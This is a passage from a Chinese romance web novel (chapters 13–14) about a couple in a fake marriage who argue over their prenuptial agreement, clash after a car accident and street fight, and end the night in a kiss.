“不熟的时候当然是假结婚。”陆京御忽然开口,语气不疾不徐,“现在是真的。” 裴清誉立刻接话,“当然了!你俩这腻歪劲说是假结婚打死我都不信。” 陆京御搁下酒杯,站起身,牵起江凝烟,语气依旧没什么起伏,“别出去乱说,会对她造成伤害。” 江凝烟抬眼看着他宽阔的肩膀,陆京御的头身比特别好,肩宽也很撑衣服,场面上,处理突发状况也确实很成熟,这种被当场打脸的情况下,反应依旧是信守诺言,维护她。 陆京御跟他们告别,“走了,你们慢慢吃。” 气氛沉默的车里。 山间都是弯道,江凝烟没说话,寻思着到家再好好解释。 确实是假结婚没错,但让宋初霖暴露了他们是她的责任,给他增加了难度,她会道歉。 两人一路静悄悄的,到了陆京御的卧室。 “咔哒”一声,门关上。 江凝烟立刻滔滔不绝地解释,“啊啊啊啊!气死我了!宋初霖他怎么这样,我跟枝枝姐说我们是假结婚,他在很远的地方,读唇语看见的!啊啊啊啊啊!气死我了!” 她紧紧抓住陆京御的手,跟他说:“现在怎么办?这么多人,十几张嘴,会传出去吗?” 比起被质问,她抛出火烧眉毛的问题,企图转移陆京御的注意力,让他先解决问题。 陆京御这次却没再顺着她,没什么情绪地问:“你为什么要告诉宋枝意?” 江凝烟脊背一寒,不知道为什么,他没有发火声音都没有提高半点,却十分有威慑力。她刚才还企图蒙混过关,立刻被治住,老实说:“我爷爷想在你新项目中投资,我本来想问问宋枝意有没有什么两家都能接受的方案,把我们的关系跟宋枝意说清楚,她的判断比较准确,所以就跟她说了。” 陆京御揪着这个问题不放,“为什么不直接问我?我的项目,你为什么问宋枝意?” “怕你以为我这段时间突然对你热情,是为了这事。” “那你突然对我热情是为了什么?” 江凝烟像是被针刺了腰窝,僵了一下。 她低头,不想说。 她隐约能感觉到陆京御在这个问题上较真,但是,她不想说。 她也知道现在随便编出个理由,或者说什么爱他,他都不会相信。 在跟他解释的时候,继续骗他,可能真的会让他生气。 “反正不是因为这个。”她松开他的手,低头不语。 “也不能说?”陆京御的语气更低。 江凝烟沉默。 “可以。你可以有你的秘密。”陆京御居然很好商量。 江凝烟心脏猛地一跳,倏地抬头看他。 “但是,婚前协议中的一条,一年后离婚,这条删掉,我就相信你起码不是一分真心都没有就想随便玩我。”陆京御道。 江凝烟看着他眼神放空。 陆京御向她靠近了一步,一片阴影笼罩下来,他身上清冷又热烈的味道裹着她,他伸手搂住她的腰,腹部对腹部贴住。 “今天的事有可能会传出去。这些人有的不过就是平时会跟小誉一起玩而已,说不定会偷偷说出去。你是不是也得给我点应对流言的底气?真的结婚,我们理直气壮。”他接着说。 他说话间气息很热,他的眼眸平时偏冷淡,但这会眼里像是装着星海,有股让人沉醉着迷的魔力。 他的双手抚在她的胯骨上,江凝烟痒得浑身微微发抖。 他眼眸黑黢黢的,像吸着她进入神秘的领域,说道:“就删那一条。” 13-20 第13章 穿成这样是要出去鬼混! 江凝烟手抵在他柔软的格纹开衫上, 低着头。 陆京御说了那一句话之后,没再逼她,就静静地等着她回复, 手指婆娑着她的胯骨,仿若勾引。 江凝烟真觉得麻,好像腰被软化成水都快支撑不住上半身的重量。 “不行。”她知道她不该直接否定, 该拖延, 等拖过他较真的劲头, 甚至或许只要拖过今天, 他们的关系就不会像是在悬崖上走钢丝了。 但是, 她又清楚地知道, 永远不可能取消她提出离婚必须离婚的条款。他越真诚地问她,她越不想糊弄他。 陆京御在她胯骨边的两只手像是失重般放下。 两人面对面站着,谁也没说话。 良久,陆京御说:“去休息吧。” 江凝烟把自己丢进浴缸里,泡了个暖融融的澡。 她想她的世界和别人的世界好像不是一个世界。 陆京御可以为了友情狂撒百亿。 她也开始在心里估算她的友情。 王亦薇跟她借钱, 她愿意借几块? 她肯定先让她跟林嘉宇借, 林嘉宇被她掏空了, 她会看, 如果是生病需要钱, 一百万以内, 如果是做生意,那就是个无底洞。她有本事, 她会建议她自己去找融资机构融资。要是融不到钱, 就证明她不是这块料, 别来祸害她的钱。 那如果王亦薇因为急用,跟她翻脸呢? 她内心的想法是:翻脸就翻脸。 她对自己冷笑一声, 王亦薇要是知道她十几年如一日的小太阳,暖不了她这个没良心的,八成会气死。 她跟林嘉宇也不一样。 林嘉宇那样子,谁动一下王亦薇,他真会拼命。 那是高中时候的事了,林嘉宇还未成年,对方随便说了句王亦薇什么,两人干了起来,林嘉宇差点进局子。 他可以为了王亦薇进局子。 而她会为了友情干什么? 连钱都不肯借,别说命了。 她知道这种感情是相互作用产生的结果。比如,如果有一天王亦薇因为什么事识破了她是这样一个没良心的,她肯定会离开她,但跟林嘉宇,他们虽然吵架拌嘴,却是分不开的。所以,林嘉宇会一直拥有太阳。而她看似拥有,实则注定,早晚会没入太阳晒不到的地方。 陆京御也一样,他肯为顾御洲狂撒百亿,那是因为顾御洲值得,角色对换,如果当年是陆家落魄了,顾御洲也会扶持陆京御。 那如果陆京御落魄了挟现在的恩要她借钱呢?她最多给口饭吃,借钱做生意是不可能借的。那可真是个无底洞。 两人之间产生深刻的感情这种化学反应,也不是A对B倾尽所有,就一定会对C倾尽所有。 就比如,王亦薇会敢于保护被孤立的林嘉宇,那是因为林嘉宇从小就是个狠人,揍人功夫一流,一人单挑十个不在话下,如果是她被孤立,王亦薇未必有胆子敢保护。下场会是她们俩一起被群殴。 而陆京御会给顾御洲百亿,但不会傻到给她百亿,因为她大概率赚不到百亿,可是他知道顾御洲天赋异禀。 羡慕王亦薇跟林嘉宇,羡慕陆京御跟顾御洲,但那些都与她无关,她其实并没有做错。她在别人那儿都是有固定的价值的,过高,别人就会舍弃,可是,她的自由与人生对她自己而言是无价的。她又何必为了别人的一句话为了别人的想法祭献上自己的自由与人生。 江凝烟想得太多,昏昏沉沉睡着的时候,听见陆京御在敲她的门,“砰砰砰!” “江凝烟!江凝烟!还醒着吗?回话!”他语气越来越急。 她赶忙从水里坐起来,水珠滚落了一池子,她喊了一嗓子,“在!” 陆京御好像松了口气,声音平静地说:“早点洗完,出来。” 要是平时,江凝烟觉得这简直是千载难逢的机会,绝对来个浴室勾引案,湿漉漉的大美人不怕他不动心。 但是,这会儿,他刚刚生气边缘的余威还在,她不敢造次。 擦干身子,披了件浴袍就走出去。 陆京御也像是澡洗了一半打断的,身上冰蓝睡衣湿了一大片,像是没擦干就穿上去的。 江凝烟毛巾擦着湿发,脖子胸口都泛着红晕,整个人红彤彤地出来,“怎么了?” 陆京御打量了她一眼,甚至瞄了眼她的手腕。 江凝烟看见他的眼神,擦头发的动作都停顿了一下。 她还能割腕不成? 陆京御说:“宋枝意担心你,给你打了很多电话你没接,打了我电话。” “哦。”江凝烟走到床头柜那,确实看见宋枝意X15个未接来电。 江凝烟:“……” 打上火了。 她是怕回家陆京御跟她吵架吧? 江凝烟随手给她回了条消息,“我没事,刚在洗澡。” 她的电话打过来了,好像要亲自确认她的声音,“我没事,嗯,没有,真没有。好。” 果然人与人之间的信任哪怕中间有个人链接也很难建立起来。 比如,宋枝意好像担心陆京御会欺负她。 跟她说完挂了电话,室内又是一阵沉默。 江凝烟静静地看着他,是这两天以来的最安静,没有了俏皮狡黠,老实巴交地看着他。 陆京御不知道为什么,她闹腾的时候恨不得她老实点,但她老实了,他心脏像是在不断地涨大,每次跳动都撞到了他的胸腔壁,发疼,想抱抱她。 陆京御避开眼神,“去吹头发吧。” 他转身出门。 江凝烟思考了一下要不要搬出去,这样两人相处太尴尬了,当然她也担心自己死性不改,这种状况下还见色起意,最终踏破红线惹怒他。她觉得她搬出去,是避免犯错的一种方式。 但,今天刚跟爷爷撕破脸,如果被证实假结婚,那陆京御这句“那我会为她跟江家动手”还有多少威慑力?这就存疑了。 她明说了哪怕打官司都要钱,那她一个人住在山上也比较危险。 在陆京御这里暂时住着直到钱拿到手是最明智的。 江凝烟打开笔记本,开始继续写文,写了一会,听见边上有陆京御出门的动静。 江凝烟听见这个动静,看了眼时间已经是晚上九点多,立刻打开房门探头出去。 陆京御大半夜的,居然一身整齐的西装! 他没带行李,不是出差! 鬼混!!! 他大半夜的准备出去鬼混!!! 江凝烟一眼就看出他要出去鬼混! 因为他穿着的西装跟平时上班的西装截然不同。 光着上半身穿的!深V! 里面没有配任何衬衫马甲,只有一件深V西装,露出胸前深深的沟壑和大片冷白的肌肤。肌肉线条薄劲有力,不夸张,但他站着的地方空气中都浮动着荷尔蒙。 他单手插在兜里,烛光铜灯昏黄的光线切出他流畅英挺的侧影,风流倜傥,静静注视着她。 太性感了吧! 深V,她可以脸埋在他胸口一晚上不拔出来! 啊!!! 她都没吃到,他要被别人吃到了吗?!! 怎么这样? 他明知道她想吃,故意的吧? 在她拒绝他之后,当晚就给她颜色瞧瞧? 绝对的! 不是,大哥,你冷静冷静冷静,不要随便出去被人吃啊! 补药啊! 陆京御看见她在门前,托了下金丝边眼镜,那瞬间遮住了眼神,她看不清他的眼神。 再看见的时候,他已经立在她面前,唇角露出抹大哥哥般和善亲切的笑容,抬手拍了拍她头顶。 他的手掌落在她的脑袋上,光线倏地一暗,声音落下来,和煦温柔,像是微风般,道:“我出去了,早点休息。” 不是,大哥! 你今晚能不能别冲动? 她知道他大概是被她拒绝了不好受,所以,要彻底贯彻她的婚前协议。他们的婚前协议签好了的。如果在这一年里双方有人要交男女朋友,对方无权阻拦,但应尽量低调保守秘密。 她的本意是对他好,怕他不肯签这个不平等条约,加上些对他也有利的条款,男人有需求的。 但现在完全是搬起石头砸自己的脚。 也就是说:要是不动婚前协议,他被人吃到,她也只能躲在门背后默默磨刀,完全没权力阻止。 “哒、哒、哒。”他的鞋在长廊上发出轻微且空荡的回响。 “哥。”江凝烟喊住他。 陆京御停下脚步,转身看她。 “嗯?” 江凝烟吞咽了一下,这时候脑子已经开始高速运转,想找一个借口,让他好歹冷静过今晚。 绝对不能让他今晚这种模样这种状态出去! 晚上十点,打扮得不同寻常的骚气,想也知道去干什么了! 江凝烟用自己灵光的脑袋瓜,想到了N个留下他的办法,各种各样的套路,什么都有,但是,最终她一个都没能说出口。 她微笑着说:“玩得开心。” 陆京御转头,只剩下一个背影,“嗯。会的。” 长腿拾阶而下,后背笔挺,肩膀宽阔,后腰收紧,只是个背影氛围感就令人忍不住多看几眼。这种氛围感大概是每一个导演每一位画家挖空心思想构建的,他轻易就能呈现。 为什么没有留他。 因为她碰到了他的红线,同样,他也碰到了她的红线。 如果他在真结婚这个上坚持,那她也不想玩火。 自由和色心,她选择自由。 江凝烟进屋关上门,想了一下,打了宋枝意电话,“枝枝姐,你那有没有保镖?我想我需要几个靠谱的。” 宋枝意这边声音不大对,好像刚睡醒般嗓音黏糊,江凝烟脑子里立刻知道怎么回事了,感叹了一下,人与人之间差距怎么这么大呢。 真的是旱的旱死涝的涝死。 “好,你什么时候需要?” “今晚有就今晚吧。越快越好。” 宋枝意:“是因为争财产那事吗?” 江凝烟没说:“倒也不是,就是觉得女生要注意安全。” “不在陆京御那儿住了?” “嗯。反正跟爷爷也撕破脸了,实在不行就自己跟他们硬刚吧。” 江凝烟也知道自己这样冲动不成熟,在陆京御的庇护下她能舒服很多,但是,她也不想天天看着他出去浪。 接受不了。 接受不了这种到嘴边的肉转眼就掉进了别人的嘴里。 呜呜呜呜—— 江凝烟内心默默泪流满面。 说不定别的女人还会来她面前吧唧嘴。 受不了…… “好的。”宋枝意立刻给她发了些简历过来,江凝烟挑了几个,给她发了个定位,让他们去那。 江凝烟当晚就收拾东西,只是她的书刚搬过来,要打包比较麻烦,过两天找人来打包吧。 衣服、笔记本、化妆品什么的一件件塞进了箱子。 她来了没两天,东西不多,很快就收拾完了,甚至不需要十五分钟。 她拉着一个行李箱,将行李放在法拉利后备箱。 不过,她今天运气不大好。 放行李的时候,虽然不重,但是,箱子压到了手指,还挺严重,疼得眼冒金星。 她嘶了一声,手指放进嘴里吸吮,关上后备箱,结果,注意力全在手上,脚踩进了石砖缝隙里,崴了一下,脚裸那儿生疼。 她立刻将嘴里的手指伸出来,揉了揉受伤的脚裸- 陆京御开车漫无目的地在街上游荡。 京城市中心夜里还是很热闹,月亮看不见,人间处处是霓虹;星星藏里面,人间处处是烟火。但他已经不适合这样的人声鼎沸。 他只能一个人静静地待着地看月亮看星星,这样就没人知道他大晚上一个人外出,没人知道他们夫妻不合,可惜今天天公不作美。 路过一栋公寓,想起他表哥裴清歌,也是裴清誉同父异母的哥哥。 他跟他一样孤独,可以去做个伴。 他的车都到公寓楼下,电话都拨通了,忽然又不是很想开进去了。 知道要跟江凝烟联姻的时候,他不忍心他表哥孤独终老,好心好意劝他表哥也找个人结婚,但大概他表情管理没做好,跟江凝烟结婚也确实开心,他哥以为他炫耀,直接给他来了句,“90后00后离婚率一半以上。” 没两天,一封婚前协议就砸到了他面前。 被他乌鸦嘴了。 “喂?这么晚找我什么事?”电话里传来微微带着点不耐的声音。 陆京御做足了心理建设,却直接贴脸开大,说道:“这不是不能光顾着自己蜜月,忘了您老人家嘛。” 这一个开场白让裴清歌愣住。 裴清歌把手机拉离脸庞,再次看了眼屏幕,确认是他亲爱的表弟陆京御。 说完之后,陆京御自己都把自己狠狠摔进了汽车靠背。后脑靠在汽车后座上,配上单穿的深V西装,脖颈显得特别修长。 他有几分懊恼。 他表哥之前想跟宋枝意联姻,没成功,他想横刀夺爱,但架不住顾御洲又哭又闹又抢,还是给顾御洲破镜重圆了。他这话无疑在人家伤口上蹦迪。 他很少这样失控。 裴清歌嗤笑一声,本来做研究中途被打断有些不耐,这会儿反倒兴致来了,视线从电脑屏幕上的数据那儿挪开,“怎么了这是?哪来的怨气?” 裴清歌靠在人体工学椅上,转了下笔,夹枪带棒地道:“谁那儿惹来的怨气撒给谁去,撒给我?你确定啊陆京御?” 陆京御:“……” 陆京御微不可察地平稳了下呼吸,车内盈蓝的氛围灯洒在他凸起的喉结,难耐地上下滚动了一下,“路过你家楼下,随便打个电话。” 他不想上楼了,怕被他嘲笑。 他哥是什么人精,别说眼神了,他连呼吸都会解读。 “都路过了,上来坐坐?”裴清歌直觉他有情况。他哪条路能路过他家? 陆京御不好拒绝了,说:“好。” 裴清歌又问:“你几个人?” 陆京御尽量平静地说:“一个人。” “啊?几个人?”裴清歌扬声,大声道,“大声点,信号好像不大好,听不见。” 陆京御:“……” 他,真就,不该,打这通,电话。 那一瞬间,他良好的修养差点灰飞烟灭。 他手指深入他额前的碎发间,微微低头,眼睛,嘴唇全部没入一片阴影中,幸好他还知道不能让任何人知道他们俩的真实关系,笑道:“算了,我就不上来了。我老婆打我电话催我回家了。” 但凡他上了裴清歌的楼,肯定遮掩不过去,绝对被他识破。 陆京御挂掉电话。 裴清誉那儿刚闹了笑话,他表哥这儿又碰了壁,顾御洲那对腻死人他也不想看。 京城这么大,还真就没一个地方适合此刻的他去的。 他只能回家。 回到家是十一点。 看见地下车库的法拉利不见了。 他眉心一蹙,在手机里查看监控。 看见一个靓丽的身影,提着行李,放进自己的后备箱,手指好像被夹了,脚也扭了一下。背影看起来一瘸一拐。 陆京御心脏涨大,像是碰到了带刺的胸腔壁,扎得他生疼- 江凝烟好好的在路上开着车,但她今天大概是出门没看黄历。 车被人追尾了。 “嘭!”的一声,她的脑袋就磕在方向盘上,快把她的魂魄给吓没了,她还以为是她爷爷派来要做了她的。 但没撞死她,只是震了一下她,她就知道对方不是来杀人放火的,纯粹是有人开车不长眼。 她烦躁得要死,但她强压住火气。 她这人在外的修养也是从小被严格要求的。无论何时,控制住自己的情绪,礼貌待人对她而言是基操。 她耐着性子,跟司机大哥说:“报警,走保险吧。” 结果,司机大哥比她还烦躁地破口大骂,“艹,你开这么慢做什么?老子他妈脱保了还没钱买保险呢!” 江凝烟顿时生气了。 不是,大哥你没买保险,你撞了我,你还骂我,跟我生气?合着今天我就是犯了您这位太岁是吧? “大哥,我哪儿开慢了?这儿限速,你没看见?” “你那么有钱,就算了吧。你这车我修不起,我还有老婆孩子父母要养,你随便修一下就是我一年不吃不喝的收入。” 江凝烟好笑,“大哥,你开宝马,你说这话有人信吗?” 这位大哥说:“老子这两年店都关了四家了,还剩一家苟延残喘,你别惹老子啊,你命贵,老子命贱。” 江凝烟冷着脸,咔嚓咔嚓咔嚓拍了一堆照片,随手传给了她的4S店客户经理,通知报修。 看这样子,修起来确实不便宜,后备箱整个凹陷了。 可能得几十万。 江凝烟可不是什么菩萨,你困难,你可以不撞我,开车小心点,你再怎么无法避免摩擦,好歹记得把保险买上。这样随便上路随便撞人,撞了人还要对方买单,天底下有这种道理? 这种强盗逻辑,好像只要过得不好,就有权力上路撞人,那被撞的人就是活该是吧? 江凝烟懒得管他,直接报警。 手机被那男人抢了,摔在地上。 哗啦粉碎。 手机屏幕溅起的碎片还割到她穿着短靴的脚裸了。 男人指着她的鼻子,威胁道:“这事你要是不罢休,老子这条贱命就赔给你了。” 江凝烟立刻装乖赔笑脸,“好好好,这事就这样吧,有困难都理解。” 男人一转身。 江凝烟唇角勾起抹狠戾的笑,直接狠狠一脚踹在他的屁股上。 “啊!”男人猝不及防栽倒在沥青路面上,脸被地面磨出血来。 江凝烟今天就穿了条短裙短靴,行动不便,但她到底是个练过的,每天会花点时间打打拳,胳膊和腿都有理力,那一脚踹得非常重。男人甚至怀疑他的腰椎被踢断。 江凝烟一直注意锻炼身体,觉得身体跟头脑一样重要。尤其是女孩子,天生力气比不上男性就更加得练。 刚才是看这男人一身肌肉,吃不准他身手,所以,等他转身趁他不备才揍他。 江凝烟勒住他的脖子,坐在他身上,反折起他的脖子。 “呃——”男人被勒得脖子的血管爆起。 江凝烟阴狠地道:“你这条贱命不如我现在就收了?你这种垃圾,再给你多活五秒可能都会危害社会。不如现在去死吧。” “傻脖依,只有你狠是吗?”江凝烟阴鸷地道,“你还真赖不了老娘的钱。一毛钱都别想赖。” 江凝烟一手勒着他,一手拿手机拨打110,“报警,发生车祸,地点在XXXX,人受伤了,快来,还被威胁生命安全了。” 江凝烟以为钳制住这个男人万无一失,没想到,这男人的车上还坐了一个男人,刚才没下车,这会直接冲下来将她从男人身上扯开。 江凝烟:“!!!!!!” 今儿个出门真没看黄历! “别过来!不然我拧断他脖子!” 奈何那男人根本不怕她威胁,吃准她根本不可能下这种狠手。 他三两下到了江凝烟面前,健硕的臂膀一把扯过她的头发,江凝烟的头发被扯得生疼,头皮像是要掉了,在那一瞬间,她甚至差点真对她勒着的男人下狠手。 但她终究还是放弃了,掰住扯她的男人的手腕,这男人也有点身手,她想过肩摔,但是对方巧妙地躲避了。 江凝烟还在跟那男人搏斗。 地上的男人爬起来,狞笑着扬起手。 江凝烟紧紧闭上眼睛,心想,完蛋,这次真的吃大亏了! 她美丽的脸蛋要开花了! 她使出浑身的力气躲避,但是另一个男人跟她扭在一起,根本摆脱不了。 “住手!”不远处传来一声愤怒凌厉的吼声。 江凝烟心头猛地一跳。 是陆京御。 那男人根本不打算停手,只打算发泄。 江凝烟眼睛余光看见陆京御在疾驰的车流中跑过来,数道强光打在他身上,那件深V西装的衣摆掀起来。偶尔能看见点裤腰带上面的腹肌。 完全看不出来,他平时那么沉稳的一个人,居然动若脱兔,踩着堵得水泄不通的汽车前引擎盖跳了过来,一个飞踢,从半空中,直接把想抽她的男人踢倒在地。 身手流畅又矫健,再加上那宽肩窄腰大长腿,飞过来的时候性张力让江凝烟甚至忘了自己还被钳制着,激动得心脏猛烈地撞击着胸腔。 “嘭!” 这男人刚从地上爬起来,又被人踹在地上。 差点被这下摔弄晕过去,眼冒金星,一时间失去反应能力,甚至蹬了蹬腿。 钳制住江凝烟的那个男人还在跟江凝烟扭打,陆京御那双冷冽的眸子夹着暗火,射过去,“我说,住手!” 陆京御扯住那男人,几乎用蛮力将人扯开,因为那男人也扯着江凝烟,江凝烟感觉自己都被提了起来,她迅速控制自己的身体,掰开那男人的手挣脱。 “嘭——”这男人的脸被按在引擎盖上,男人面部狰狞,引擎盖还烫着,他疼到流泪。 “滴嘟滴嘟——”警察来了。 陆京御和江凝烟从警察局出来。 江凝烟先动的手,被警察教育了一通,但碍于是对方又撞车又威胁人身安全的,也没构成轻伤,所以把她放走了。 江凝烟的法拉利被拖车拖走了,江凝烟提着行李箱,把箱子塞进陆京御的车里,坐在副驾驶里,她就导航了她山上别墅的位置。 显然是要陆京御把她送到那儿去。 陆京御也没说话,只不过,没按照她的导航要求,而是直接回他家。 窗外的霓虹飞驰而过,江凝烟内心知道按道理来讲,今天应该谢谢他及时出现,让她少挨一顿毒打。 但是,江凝烟很清楚自己现在的感受,就是不开心。 她不开心他半夜出去玩。 她不开心,但她也不表现出来,就嬉皮笑脸地对他笑,“谢谢你来接我。不然还是送我去我那儿吧?不好多打扰你。” 陆京御一句话也不说,专心开车,脸沉得就像天边凝聚的乌云。 江凝烟看他这样,也不跟他说话了,托着下巴,扯着唇角,笑意嫣嫣地看着窗外的霓虹。 没多久,到了一家私立医院门口。 江凝烟眨眨眼。 陆京御把车停进地库,直接看上了医生,给她处理脚裸的伤口。 脚裸里面被玻璃渣刺了,医生清理的时候还有点疼。 江凝烟咬牙忍着,处理完之后,难免泪眼汪汪。 坐进车里,趁着车停下来了,笑着对他说:“能不能送我回自己家?今天谢谢你,其实我不麻烦你也可以的。” 陆京御手捏着方向盘,手背上的青筋突突突跳着,又不说话,点着了火,一脚油门飞也似地出去了。 江凝烟轻飘飘地说:“这样怪吓人的,不让我回家吗?” 她感受到陆京御的情绪,除了不开心,隐约又兴奋起来。 她忽然发觉她离家出走的潜意识里是在跟他博弈。 潜意识里她不挽留,但希望他找过来。 本来觉得自己出门没看黄历,看见他反应那么大,又觉得恐怕歪打正着。 他看见她走就来找她,是不是代表这场博弈他败了? 她状况百出,他是不是会心疼一点? one77的轰鸣声在耳边呼啸,没过多久就到了陆京御家。 她脚踝的伤其实能忍,不大感受得到,但她就是走得一瘸一拐,看看他会不会心疼。 家里的大门打开,江凝烟却故意站在门口不肯进去,“不想打扰你了。我可以在这儿打车回去。” 她抬头注视着他,看着院子里温暖泛黄的灯光落在他的身上,深V西装胸口的肌肤呈现金黄色,他站在台阶上侧身看台阶下的她,西装隆起了一大片,薄劲的胸肌展露无遗。 江凝烟心脏热烈地跳动。 陆京御把她的行李轻轻放在脚边,从台阶上下来,跟她一起站在平地上。 他眼神注视着她,深邃又复杂,看不懂什么情绪。 “不想打扰你。”江凝烟下唇撅了撅,再次重申,“我自己可以。” 陆京御:“江凝烟。” 他语气不重,但连名带姓喊,还是让她心里发怂。 江凝烟看着他。 陆京御语气有点重地说:“你先动手,你居然先动的手。” 他在警察局的时候简直不敢相信自己听见了什么。居然是她先动的手,对方已经要走了,她居然冲上去给人家一脚。 陆京御寒毛都竖起来了,巨大的恐慌将他吞没。 陆京御深吸一口气,“你知不知道我来晚一点,你会怎么样?” 江凝烟低头,脚尖踢了脚小石子。 “他都准备走了,你还上去踹他,是不是嫌命太长?” 江凝烟又低头踢了一脚小石子。 “我真的不知道你哪根筋不对会上去踢那一脚,你知不知道外面现在什么环境?多得是人快活不下去了,想找个途径泄愤。他是不是警告你了他也快撑不住了,你还跟他杠?还打他?你不要命了?万一他刚好带了刀子,你今晚就没命了我跟你说!”陆京御神情很严肃,劈头盖脸的。 江凝烟单脚站着,一只脚兴致勃勃地玩石子,完全当做耳旁风,陆京御看她这态度就气不打一处来。 “下次遇到这种情况,跑。不用人家赔钱,听见了没?”陆京御严厉叮嘱。 江凝烟一脚把石子踢到陆京御脚尖。 小石子撞到他湛亮的皮鞋,咕噜噜地滚了几下。 她说:“你怎么不注意安全?” 陆京御蹙眉看着她,“?” 他哪不注意安全了? 她又说:“你出去玩,万一碰上带病的,你就死定了,你怎么不注意安全?” 陆京御:“……” 江凝烟鼻孔哼气,全给他倒回去,“现在外面什么情况你不知道?这病那病那么多,万一有人就是染病了不想活了要祸害别人呢?!到时候你就一失足成千古恨,死定了我跟你说!” 陆京御:“……” 第14章 我们只做.爱如何? 陆京御扬脖望天, 脖子拉长加上胸前的肌肤更具有视觉冲击。 江凝烟目不转睛地盯着他,气呼呼又色眯眯。 陆京御真的被她整无语了,深吸一口气, 他想说,首先,他出门去不代表他就是去找女人。但是, 他知道他说这话就输了。 在这场博弈中, 输给了她, 他丢失了底线。 那往后的相处中, 这姑娘还不知道要怎么在他底线上疯狂蹦迪。 他不能解释。 他绝对不能跟她解释他出门根本就不是去找女人。 “我出门不代表我是去找女人。” 陆京御:“……” 行行行, 自控能力不及格, 回头再练。 他说完这句话,江凝烟的眼睛倏地就亮了。夜色中的这张小脸,像是夜空中淡云散去露出来的一轮纤月,明亮又纤丽。 陆京御叉腰,严肃脸, “下次还打人吗?” 江凝烟拍了拍自己刚一路都没来得及拍灰的短裙, 嬉皮笑脸地说:“你不知道我今天为什么打人?” 陆京御眼眸一眯。 江凝烟说:“我就是不高兴你出去鬼混。那人撞我枪口上了, 他找打。” 陆京御:“……” 好好好, 言下之意, 他下次出去鬼混, 她还是可能打人。 这他不能接受。 不想跟他结婚,还理直气壮地管着他?哪来的不讲道理的姑娘? “那我不出去鬼混, 你还打人吗?” 陆京御:“……” 行。 就这样吧。 不用觉得奇怪, 不出去鬼混也不是什么难做到的事, 毕竟他二十八年都没出去鬼混过。 江凝烟说:“你惹我不高兴,我就不能保证。” 陆京御刚做完心理建设, 听见这话倏地睁大眼,舌尖顶了下腮帮,眼神转冷,笑了一声,“那你怎么样会不高兴?” 江凝烟说:“不跟我谈恋爱,跟别的女人谈恋爱。” 陆京御不可思议地看着她,哂笑地道:“懂了。你得不到的别人也休想得到。” 江凝烟:“……” 她抬了下下巴,趾高气扬地说:“或者跟我谈恋爱,但没有过程只追求结果,成天嚷着要结婚。” 陆京御又给她翻译了一下,“懂了。玩玩可以,负责是不可能负责的。” 江凝烟被他的翻译搞红温了,继续争辩道:“你反过来想,是我不用你负责,换别的男人,高兴死了。你真的是身在福中不知福。” 陆京御说:“总结起来,就是我只能接受跟不负责任的你谈恋爱。不然你就不高兴。” 但江凝烟道理一箩筐, “你是不是以为男人娶个老婆很容易?你一开口,别人就必须答应?” 陆京御:“……” 江凝烟一见有机可乘,就开始疯狂pua,“不答应,你就转身去鬼混?我也没求你不去鬼混,但我有不高兴的权力。你可以不跟我谈恋爱,那你也没权力管我。” 陆京御觉得自己碰到坏女孩了,坏透了的。她在钓着他,在pua他,在企图拿捏他,把他推向完全没有任何主动权的深渊。 “陆京御。”江凝烟没再喊他哥,明眸璨璨地盯着他说,“我是看上了你,但不代表我没有底线,只要你开口就处处妥协。我就是,又要自由又要恋爱。” 好。 很好。 渣得明明白白。 江凝烟撂下话之后,注视了他三秒,然后,上台阶将自己的行李箱拎了下来,手搭在拉杆上,一副随时准备提行李走的样子,“跟我谈恋爱吗?” 江凝烟觉得逼一逼陆京御挺好。说清楚,万一有天没感觉了,她要离开陆京御了,也不至于真正惹怒他。 大家愿赌服输。 当然,这招也非常有风险。 那就是陆京御不肯妥协,任由她离开。 夜色浓浓,法式铜灯的光晕散发着一圈一圈软糯糯的黄,照映在江凝烟的脸上,美得几乎梦幻。然而陆京御觉得说她是带刺的玫瑰也美化她了,她简直是带刀的玫瑰。 陆京御沉默,伸手去拎她的行李箱,但江凝烟很有骨气地把自己的行李箱猛地往后拉。 他的手抓了个空,“……” 江凝烟说:“最后一次。不答应我就再也不提了。陆京御,我是女孩子。你让我说这些,已经超没劲了。” 她那双不哭都像汪了水的眼注视着他,把倔强和可怜演绎到了一定的水准。她还记得她靠装可怜成功摸到了他一次。 知道他吃这套。 陆京御:“……” 陆京御觉得他被同一个人用同一招骗到两次,那他不用混总裁班,他直接去幼儿园,幼儿园的小朋友都不会中招。 他努力无视胸口的疼痛。 他有这么好拿捏? 他伸手勾住她的腰肢,将她抱起来。 “嘭”的一声,江凝烟的行李砸到了地上。 江凝烟心头一荡。 他没说话,就像抱孩子一样抱着她往两堵高墙中的阴暗处走去。 江凝烟心脏怦怦怦乱跳,要去阴暗的小角落干嘛? 她做到了吗? 他们要去阴暗的小角落干坏事了吗? 跟穿深V西装的他? 江凝烟的心底像像是成了世界上最热的热湖,噗噗噗地冒着泡翻腾着,热流在心底肆意流窜。 她的后背被推到粗糙的墙壁上,下巴被挑起,然后就是掠夺到让人无法呼吸的吻。 不是演戏,是他主动吻她。 江凝烟穿了一件泡泡袖的白色毛衣,搭了条短裙,这会儿手臂绕着他的脖子,像是一只用翅膀环住伴侣的鸟儿。 他的手抚在她腰际。 她今天穿的短款毛衣,搂着他的脖子就露出一些肌肤来。 他的指腹触碰到她的腰部肌肤,她一阵战栗。 她觉得她的腰像是被什么化尸水给融化了,骨头都要没了。 脑子,脸蛋,身体都在发热,晕晕乎乎的,像是在云端飘浮的感觉,她特别喜欢。 他唇贴着她的唇,婆娑,描绘着她的唇线,问:“不如咱们说清楚,只接吻,只做.爱,那样我也没有期待,如何?” 江凝烟晕头转向的,立刻同意了,“嗯,好。” 下一秒,他温热的身体从她怀里消失。 墙角的穿堂冷风吹过来,少了他的遮挡,毛衣特别漏风,冰冷的风直直地往肌肤上吹。 她眨了眨眼睛,恍然大悟。 上当了! 陆京御黝黑的眸子冷漠地看了她一眼,随便一试探就试探出她的心思。他声音沉沉地落在她头顶,“再玩我我生气了。” 他率先走出这个阴暗的角落。 这话说出来之后,陆京御觉得自己终于硬气了一回。 他打开玄关的门,把她的行李箱拎进去,直接帮她拎到楼上,警告归警告,他还是不能任由她离家出走。 宋枝意跟他说她找了五个保镖,她或许在害怕什么。 万一她在害怕什么,而他不知道…… 所以,怎么着都不能让她走。 他将箱子放在她的屋子门口,没有进去,走进了自己的屋。 视线朝窗外瞥了下,顿了一小会,朝窗外走去。 江凝烟还在楼下,坐在院子的秋千里。 倒是还好,没有在外面自己等车走。大概是她的行李被他拿上来了。 江凝烟一晚上来来回回折腾得也有点累,坐在秋千上,摇摇晃晃地想了挺多。 她在“烦了毁灭吧”和“心急吃不了热豆腐”之间来回摇摆。 